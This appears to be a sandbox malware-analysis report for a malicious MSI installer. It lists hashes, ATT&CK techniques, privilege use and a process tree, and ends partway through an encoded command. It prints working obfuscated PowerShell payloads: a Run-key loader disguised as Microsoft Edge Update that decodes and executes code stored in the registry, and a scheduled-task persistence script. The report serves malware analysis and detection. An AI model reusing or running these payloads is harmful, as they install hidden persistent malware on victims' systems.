b1287ab346d488cf587ff52932119e02113403b9b9a7231e5c95fa0143de1a39

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
19/07/2026, 18:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
stale.msi
Size 60KB
Sample260719-wxcvksbs8s
SHA256 b1287ab346d488cf587ff52932119e02113403b9b9a7231e5c95fa0143de1a39
MD5 d0cec1850a2d55308369f58291d1f362
SHA1 7ba2ce48b3f4c2d9745f74e6ac60208d92f0332b
SHA512 89d0e82d27552c50730d9a4a3d73f8a850f7b0f158ca3bc36b5875adcba2da10f849af14bc731d182eaf40438c74954945998d7dd23cc7d40a6aad376d9fc540
SSDEEP 1536:xHNGxoDRx3280h8ZAOc5ROeqNKHASY80h:pgROdKHAS
TLSH
T1C753313AD630FCD0C75D327086662D9A21986D56C7B34D64DB093DFE3D32B81EB29688
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence privilege_escalation ransomware

Malware Config

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
37	2832	powershell.exe
39	2832	powershell.exe
40	2196	powershell.exe
64	2832	powershell.exe
66	2832	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2856	powershell.exe
2832	powershell.exe
2196	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4556	MicrosoftEdgeUpdate.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdate = "conhost.exe --headless powershell.exe -NoP -W Hidden -Enc JABfAGwAPQAiACQAZQBuAHYAOgBUAEUATQBQAFwAZQB1AF8AZABiAGcALgBsAG8AZwAiADsAJwBbACcAKwAkACgARwBlAHQALQBEAGEAdABlACAALQBGACAAJwBIAEgAOgBtAG0AOgBzAHMAJwApACsAJwBdACAAUwBUAEEAUgBUACcAfABPAHUAdAAtAEYAaQBsAGUAIAAkAF8AbAAgAC0AQQBwAHAAZQBuAGQAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADEAMgA7ACQAaQArACsAKQB7AHQAcgB5AHsAWwBOAGUAdAAuAEQAbgBzAF0AOgA6AEcAZQB0AEgAbwBzAHQARQBuAHQAcgB5ACgAJwBzAGUAcABvAGwAaQBhAC4AZAByAHAAYwAuAG8AcgBnACcAKQA7AGIAcgBlAGEAawB9AGMAYQB0AGMAaAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgADUAfQB9ADsAJwBbACcAKwAkACgARwBlAHQALQBEAGEAdABlACAALQBGACAAJwBIAEgAOgBtAG0AOgBzAHMAJwApACsAJwBdACAATgBFAFQAIABPAEsAJwB8AE8AdQB0AC0ARgBpAGwAZQAgACQAXwBsACAALQBBAHAAcABlAG4AZAA7AHQAcgB5AHsAJABjAD0AKABnAHAAIAAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwARQBkAGcAZQBVAHAAZABhAHQAZQAnACAAYwBmAGcAIAAtAEUAQQAgADAAKQAuAGMAZgBnADsAaQBmACgAJABjACkAewAnAFsAJwArACQAKABHAGUAdAAtAEQAYQB0AGUAIAAtAEYAIAAnAEgASAA6AG0AbQA6AHMAcwAnACkAKwAnAF0AIABjAGYAZwAgAGwAZQBuADoAIAAnACsAJABjAC4ATABlAG4AZwB0AGgAfABPAHUAdAAtAEYAaQBsAGUAIAAkAF8AbAAgAC0AQQBwAHAAZQBuAGQAOwAkAHMAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGMAKQApADsAJwBbACcAKwAkACgARwBlAHQALQBEAGEAdABlACAALQBGACAAJwBIAEgAOgBtAG0AOgBzAHMAJwApACsAJwBdACAAZABlAGMAbwBkAGUAZAAgAGwAZQBuADoAIAAnACsAJABzAC4ATABlAG4AZwB0AGgAfABPAHUAdAAtAEYAaQBsAGUAIAAkAF8AbAAgAC0AQQBwAHAAZQBuAGQAOwAuACgAWwBzAGMAcgBpAHAAdABiAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAKQApAH0AZQBsAHMAZQB7ACcAWwAnACsAJAAoAEcAZQB0AC0ARABhAHQAZQAgAC0ARgAgACcASABIADoAbQBtADoAcwBzACcAKQArACcAXQAgAE4ATwAgAGMAZgBnACEAJwB8AE8AdQB0AC0ARgBpAGwAZQAgACQAXwBsACAALQBBAHAAcABlAG4AZAB9AH0AYwBhAHQAYwBoAHsAJwBbACcAKwAkACgARwBlAHQALQBEAGEAdABlACAALQBGACAAJwBIAEgAOgBtAG0AOgBzAHMAJwApACsAJwBdACAARQBSAFIAOgAgACcAKwAkAF8AfABPAHUAdAAtAEYAaQBsAGUAIAAkAF8AbAAgAC0AQQBwAHAAZQBuAGQAfQA="	msiexec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
4556	MicrosoftEdgeUpdate.exe

Drops file in Windows directory 8 IoCs

description	ioc	Process
File created	C:\Windows\Installer\e588edf.msi	msiexec.exe
File created	C:\Windows\Installer\e588edd.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e588edd.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8F99.tmp	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\SourceHash{4B8B1BC5-15D8-4091-B695-979B0076B53C}	msiexec.exe

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
2412	msiexec.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000aea20acdcfb7d9ac0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000aea20acd0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff000000000700010000680900aea20acd000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1aaea20acd000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1daea20acd000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
4384	msiexec.exe
4384	msiexec.exe
2856	powershell.exe
2856	powershell.exe
2856	powershell.exe
2832	powershell.exe
2832	powershell.exe
2832	powershell.exe
2196	powershell.exe
2196	powershell.exe
2196	powershell.exe
2832	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2412	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2412	msiexec.exe
Token: SeSecurityPrivilege	4384	msiexec.exe
Token: SeCreateTokenPrivilege	2412	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2412	msiexec.exe
Token: SeLockMemoryPrivilege	2412	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2412	msiexec.exe
Token: SeMachineAccountPrivilege	2412	msiexec.exe
Token: SeTcbPrivilege	2412	msiexec.exe
Token: SeSecurityPrivilege	2412	msiexec.exe
Token: SeTakeOwnershipPrivilege	2412	msiexec.exe
Token: SeLoadDriverPrivilege	2412	msiexec.exe
Token: SeSystemProfilePrivilege	2412	msiexec.exe
Token: SeSystemtimePrivilege	2412	msiexec.exe
Token: SeProfSingleProcessPrivilege	2412	msiexec.exe
Token: SeIncBasePriorityPrivilege	2412	msiexec.exe
Token: SeCreatePagefilePrivilege	2412	msiexec.exe
Token: SeCreatePermanentPrivilege	2412	msiexec.exe
Token: SeBackupPrivilege	2412	msiexec.exe
Token: SeRestorePrivilege	2412	msiexec.exe
Token: SeShutdownPrivilege	2412	msiexec.exe
Token: SeDebugPrivilege	2412	msiexec.exe
Token: SeAuditPrivilege	2412	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2412	msiexec.exe
Token: SeChangeNotifyPrivilege	2412	msiexec.exe
Token: SeRemoteShutdownPrivilege	2412	msiexec.exe
Token: SeUndockPrivilege	2412	msiexec.exe
Token: SeSyncAgentPrivilege	2412	msiexec.exe
Token: SeEnableDelegationPrivilege	2412	msiexec.exe
Token: SeManageVolumePrivilege	2412	msiexec.exe
Token: SeImpersonatePrivilege	2412	msiexec.exe
Token: SeCreateGlobalPrivilege	2412	msiexec.exe
Token: SeBackupPrivilege	2500	vssvc.exe
Token: SeRestorePrivilege	2500	vssvc.exe
Token: SeAuditPrivilege	2500	vssvc.exe
Token: SeBackupPrivilege	4384	msiexec.exe
Token: SeRestorePrivilege	4384	msiexec.exe
Token: SeRestorePrivilege	4384	msiexec.exe
Token: SeTakeOwnershipPrivilege	4384	msiexec.exe
Token: SeRestorePrivilege	4384	msiexec.exe
Token: SeTakeOwnershipPrivilege	4384	msiexec.exe
Token: SeRestorePrivilege	4384	msiexec.exe
Token: SeTakeOwnershipPrivilege	4384	msiexec.exe
Token: SeRestorePrivilege	4384	msiexec.exe
Token: SeTakeOwnershipPrivilege	4384	msiexec.exe
Token: SeRestorePrivilege	4384	msiexec.exe
Token: SeTakeOwnershipPrivilege	4384	msiexec.exe
Token: SeRestorePrivilege	4384	msiexec.exe
Token: SeTakeOwnershipPrivilege	4384	msiexec.exe
Token: SeRestorePrivilege	4384	msiexec.exe
Token: SeTakeOwnershipPrivilege	4384	msiexec.exe
Token: SeRestorePrivilege	4384	msiexec.exe
Token: SeTakeOwnershipPrivilege	4384	msiexec.exe
Token: SeRestorePrivilege	4384	msiexec.exe
Token: SeTakeOwnershipPrivilege	4384	msiexec.exe
Token: SeRestorePrivilege	4384	msiexec.exe
Token: SeTakeOwnershipPrivilege	4384	msiexec.exe
Token: SeRestorePrivilege	4384	msiexec.exe
Token: SeTakeOwnershipPrivilege	4384	msiexec.exe
Token: SeRestorePrivilege	4384	msiexec.exe
Token: SeTakeOwnershipPrivilege	4384	msiexec.exe
Token: SeRestorePrivilege	4384	msiexec.exe
Token: SeTakeOwnershipPrivilege	4384	msiexec.exe
Token: SeRestorePrivilege	4384	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2412	msiexec.exe
2412	msiexec.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4384 wrote to memory of 4604	4384	msiexec.exe	101
PID 4384 wrote to memory of 5056	4384	msiexec.exe	103
PID 5056 wrote to memory of 2856	5056	MsiExec.exe	104
PID 5028 wrote to memory of 2832	5028	conhost.exe	108
PID 5056 wrote to memory of 2196	5056	MsiExec.exe	109
PID 2832 wrote to memory of 4556	2832	powershell.exe	119

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\stale.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2412

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Adds Run key to start application
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4384
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:4604
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding E7CDC4EFE0990FD9C51758207F7877CB
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5056
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -W Hidden -EP Bypass -Enc JABlAD0AJwBKAEEAQgBmAEEARwB3AEEAUABRAEEAaQBBAEMAUQBBAFoAUQBCAHUAQQBIAFkAQQBPAGcAQgBVAEEARQBVAEEAVABRAEIAUQBBAEYAdwBBAFoAUQBCADEAQQBGADgAQQBaAEEAQgBpAEEARwBjAEEATABnAEIAcwBBAEcAOABBAFoAdwBBAGkAQQBEAHMAQQBKAHcAQgBiAEEAQwBjAEEASwB3AEEAawBBAEMAZwBBAFIAdwBCAGwAQQBIAFEAQQBMAFEAQgBFAEEARwBFAEEAZABBAEIAbABBAEMAQQBBAEwAUQBCAEcAQQBDAEEAQQBKAHcAQgBJAEEARQBnAEEATwBnAEIAdABBAEcAMABBAE8AZwBCAHoAQQBIAE0AQQBKAHcAQQBwAEEAQwBzAEEASgB3AEIAZABBAEMAQQBBAFUAdwBCAFUAQQBFAEUAQQBVAGcAQgBVAEEAQwBjAEEAZgBBAEIAUABBAEgAVQBBAGQAQQBBAHQAQQBFAFkAQQBhAFEAQgBzAEEARwBVAEEASQBBAEEAawBBAEYAOABBAGIAQQBBAGcAQQBDADAAQQBRAFEAQgB3AEEASABBAEEAWgBRAEIAdQBBAEcAUQBBAE8AdwBCAG0AQQBHADgAQQBjAGcAQQBvAEEAQwBRAEEAYQBRAEEAOQBBAEQAQQBBAE8AdwBBAGsAQQBHAGsAQQBJAEEAQQB0AEEARwB3AEEAZABBAEEAZwBBAEQARQBBAE0AZwBBADcAQQBDAFEAQQBhAFEAQQByAEEAQwBzAEEASwBRAEIANwBBAEgAUQBBAGMAZwBCADUAQQBIAHMAQQBXAHcAQgBPAEEARwBVAEEAZABBAEEAdQBBAEUAUQBBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARQBjAEEAWgBRAEIAMABBAEUAZwBBAGIAdwBCAHoAQQBIAFEAQQBSAFEAQgB1AEEASABRAEEAYwBnAEIANQBBAEMAZwBBAEoAdwBCAHoAQQBHAFUAQQBjAEEAQgB2AEEARwB3AEEAYQBRAEIAaABBAEMANABBAFoAQQBCAHkAQQBIAEEAQQBZAHcAQQB1AEEARwA4AEEAYwBnAEIAbgBBAEMAYwBBAEsAUQBBADcAQQBHAEkAQQBjAGcAQgBsAEEARwBFAEEAYQB3AEIAOQBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEARgBNAEEAZABBAEIAaABBAEgASQBBAGQAQQBBAHQAQQBGAE0AQQBiAEEAQgBsAEEARwBVAEEAYwBBAEEAZwBBAEQAVQBBAGYAUQBCADkAQQBEAHMAQQBKAHcAQgBiAEEAQwBjAEEASwB3AEEAawBBAEMAZwBBAFIAdwBCAGwAQQBIAFEAQQBMAFEAQgBFAEEARwBFAEEAZABBAEIAbABBAEMAQQBBAEwAUQBCAEcAQQBDAEEAQQBKAHcAQgBJAEEARQBnAEEATwBnAEIAdABBAEcAMABBAE8AZwBCAHoAQQBIAE0AQQBKAHcAQQBwAEEAQwBzAEEASgB3AEIAZABBAEMAQQBBAFQAZwBCAEYAQQBGAFEAQQBJAEEAQgBQAEEARQBzAEEASgB3AEIAOABBAEUAOABBAGQAUQBCADAAQQBDADAAQQBSAGcAQgBwAEEARwB3AEEAWgBRAEEAZwBBAEMAUQBBAFgAdwBCAHMAQQBDAEEAQQBMAFEAQgBCAEEASABBAEEAYwBBAEIAbABBAEcANABBAFoAQQBBADcAQQBIAFEAQQBjAGcAQgA1AEEASABzAEEASgBBAEIAagBBAEQAMABBAEsAQQBCAG4AQQBIAEEAQQBJAEEAQQBuAEEARQBnAEEAUwB3AEIARABBAEYAVQBBAE8AZwBCAGMAQQBGAE0AQQBiAHcAQgBtAEEASABRAEEAZAB3AEIAaABBAEgASQBBAFoAUQBCAGMAQQBFADAAQQBhAFEAQgBqAEEASABJAEEAYgB3AEIAegBBAEcAOABBAFoAZwBCADAAQQBGAHcAQQBSAFEAQgBrAEEARwBjAEEAWgBRAEIAVgBBAEgAQQBBAFoAQQBCAGgAQQBIAFEAQQBaAFEAQQBuAEEAQwBBAEEAWQB3AEIAbQBBAEcAYwBBAEkAQQBBAHQAQQBFAFUAQQBRAFEAQQBnAEEARABBAEEASwBRAEEAdQBBAEcATQBBAFoAZwBCAG4AQQBEAHMAQQBhAFEAQgBtAEEAQwBnAEEASgBBAEIAagBBAEMAawBBAGUAdwBBAG4AQQBGAHMAQQBKAHcAQQByAEEAQwBRAEEASwBBAEIASABBAEcAVQBBAGQAQQBBAHQAQQBFAFEAQQBZAFEAQgAwAEEARwBVAEEASQBBAEEAdABBAEUAWQBBAEkAQQBBAG4AQQBFAGcAQQBTAEEAQQA2AEEARwAwAEEAYgBRAEEANgBBAEgATQBBAGMAdwBBAG4AQQBDAGsAQQBLAHcAQQBuAEEARgAwAEEASQBBAEIAagBBAEcAWQBBAFoAdwBBAGcAQQBHAHcAQQBaAFEAQgB1AEEARABvAEEASQBBAEEAbgBBAEMAcwBBAEoAQQBCAGoAQQBDADQAQQBUAEEAQgBsAEEARwA0AEEAWgB3AEIAMABBAEcAZwBBAGYAQQBCAFAAQQBIAFUAQQBkAEEAQQB0AEEARQBZAEEAYQBRAEIAcwBBAEcAVQBBAEkAQQBBAGsAQQBGADgAQQBiAEEAQQBnAEEAQwAwAEEAUQBRAEIAdwBBAEgAQQBBAFoAUQBCAHUAQQBHAFEAQQBPAHcAQQBrAEEASABNAEEAUABRAEIAYgBBAEYAUQBBAFoAUQBCADQAQQBIAFEAQQBMAGcAQgBGAEEARwA0AEEAWQB3AEIAdgBBAEcAUQBBAGEAUQBCAHUAQQBHAGMAQQBYAFEAQQA2AEEARABvAEEAVgBRAEIAdQBBAEcAawBBAFkAdwBCAHYAQQBHAFEAQQBaAFEAQQB1AEEARQBjAEEAWgBRAEIAMABBAEYATQBBAGQAQQBCAHkAQQBHAGsAQQBiAGcAQgBuAEEAQwBnAEEAVwB3AEIARABBAEcAOABBAGIAZwBCADIAQQBHAFUAQQBjAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAWQBBAGMAZwBCAHYAQQBHADAAQQBRAGcAQgBoAEEASABNAEEAWgBRAEEAMgBBAEQAUQBBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEASwBBAEEAawBBAEcATQBBAEsAUQBBAHAAQQBEAHMAQQBKAHcAQgBiAEEAQwBjAEEASwB3AEEAawBBAEMAZwBBAFIAdwBCAGwAQQBIAFEAQQBMAFEAQgBFAEEARwBFAEEAZABBAEIAbABBAEMAQQBBAEwAUQBCAEcAQQBDAEEAQQBKAHcAQgBJAEEARQBnAEEATwBnAEIAdABBAEcAMABBAE8AZwBCAHoAQQBIAE0AQQBKAHcAQQBwAEEAQwBzAEEASgB3AEIAZABBAEMAQQBBAFoAQQBCAGwAQQBHAE0AQQBiAHcAQgBrAEEARwBVAEEAWgBBAEEAZwBBAEcAdwBBAFoAUQBCAHUAQQBEAG8AQQBJAEEAQQBuAEEAQwBzAEEASgBBAEIAegBBAEMANABBAFQAQQBCAGwAQQBHADQAQQBaAHcAQgAwAEEARwBnAEEAZgBBAEIAUABBAEgAVQBBAGQAQQBBAHQAQQBFAFkAQQBhAFEAQgBzAEEARwBVAEEASQBBAEEAawBBAEYAOABBAGIAQQBBAGcAQQBDADAAQQBRAFEAQgB3AEEASABBAEEAWgBRAEIAdQBBAEcAUQBBAE8AdwBBAHUAQQBDAGcAQQBXAHcAQgB6AEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAGkAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAEsAUQBBAHAAQQBIADAAQQBaAFEAQgBzAEEASABNAEEAWgBRAEIANwBBAEMAYwBBAFcAdwBBAG4AQQBDAHMAQQBKAEEAQQBvAEEARQBjAEEAWgBRAEIAMABBAEMAMABBAFIAQQBCAGgAQQBIAFEAQQBaAFEAQQBnAEEAQwAwAEEAUgBnAEEAZwBBAEMAYwBBAFMAQQBCAEkAQQBEAG8AQQBiAFEAQgB0AEEARABvAEEAYwB3AEIAegBBAEMAYwBBAEsAUQBBAHIAQQBDAGMAQQBYAFEAQQBnAEEARQA0AEEAVAB3AEEAZwBBAEcATQBBAFoAZwBCAG4AQQBDAEUAQQBKAHcAQgA4AEEARQA4AEEAZABRAEIAMABBAEMAMABBAFIAZwBCAHAAQQBHAHcAQQBaAFEAQQBnAEEAQwBRAEEAWAB3AEIAcwBBAEMAQQBBAEwAUQBCAEIAQQBIAEEAQQBjAEEAQgBsAEEARwA0AEEAWgBBAEIAOQBBAEgAMABBAFkAdwBCAGgAQQBIAFEAQQBZAHcAQgBvAEEASABzAEEASgB3AEIAYgBBAEMAYwBBAEsAdwBBAGsAQQBDAGcAQQBSAHcAQgBsAEEASABRAEEATABRAEIARQBBAEcARQBBAGQAQQBCAGwAQQBDAEEAQQBMAFEAQgBHAEEAQwBBAEEASgB3AEIASQBBAEUAZwBBAE8AZwBCAHQAQQBHADAAQQBPAGcAQgB6AEEASABNAEEASgB3AEEAcABBAEMAcwBBAEoAdwBCAGQAQQBDAEEAQQBSAFEAQgBTAEEARgBJAEEATwBnAEEAZwBBAEMAYwBBAEsAdwBBAGsAQQBGADgAQQBmAEEAQgBQAEEASABVAEEAZABBAEEAdABBAEUAWQBBAGEAUQBCAHMAQQBHAFUAQQBJAEEAQQBrAEEARgA4AEEAYgBBAEEAZwBBAEMAMABBAFEAUQBCAHcAQQBIAEEAQQBaAFEAQgB1AEEARwBRAEEAZgBRAEEAPQAnADsAJABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABXAGkAbgBkAG8AdwBzAFwAUwB5AHMAdABlAG0AMwAyAFwAYwBvAG4AaABvAHMAdAAuAGUAeABlACcAIAAtAEEAcgBnAHUAbQBlAG4AdAAgACgAJwAtAC0AaABlAGEAZABsAGUAcwBzACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAE4AbwBQACAALQBXACAASABpAGQAZABlAG4AIAAtAEUAbgBjACAAJwArACQAZQApADsAJAB0ADEAPQBOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0ATwBuAGMAZQAgAC0AQQB0ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAuAEEAZABkAE0AaQBuAHUAdABlAHMAKAAxADAAKQAgAC0AUgBlAHAAZQB0AGkAdABpAG8AbgBJAG4AdABlAHIAdgBhAGwAIAAoAE4AZQB3AC0AVABpAG0AZQBTAHAAYQBuACAALQBNAGkAbgB1AHQAZQBzACAAMQAwACkAOwAkAHQAMgA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcATwBuADsAJAB0AD0AQAAoACQAdAAxACwAJAB0ADIAKQA7ACQAcwA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEgAaQBkAGQAZQBuACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABJAGYARwBvAGkAbgBnAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0AUwB0AGEAcgB0AFcAaABlAG4AQQB2AGEAaQBsAGEAYgBsAGUAOwB0AHIAeQB7AFUAbgByAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAE0AaQBjAHIAbwBzAG8AZgB0AEUAZABnAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAEUAeABwAGUAcgBpAGUAbgBjAGUAJwAgAC0AQwBvAG4AZgBpAHIAbQA6ACQAZgBhAGwAcwBlACAALQBFAEEAIABTAHQAbwBwAH0AYwBhAHQAYwBoAHsAfQA7AFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcATQBpAGMAcgBvAHMAbwBmAHQARQBkAGcAZQBVAHAAZABhAHQAZQBUAGEAcwBrAE0AYQBjAGgAaQBuAGUARQB4AHAAZQByAGkAZQBuAGMAZQAnACAALQBBAGMAdABpAG8AbgAgACQAYQAgAC0AVAByAGkAZwBnAGUAcgAgACQAdAAgAC0AUwBlAHQAdABpAG4AZwBzACAAJABzACAALQBGAG8AcgBjAG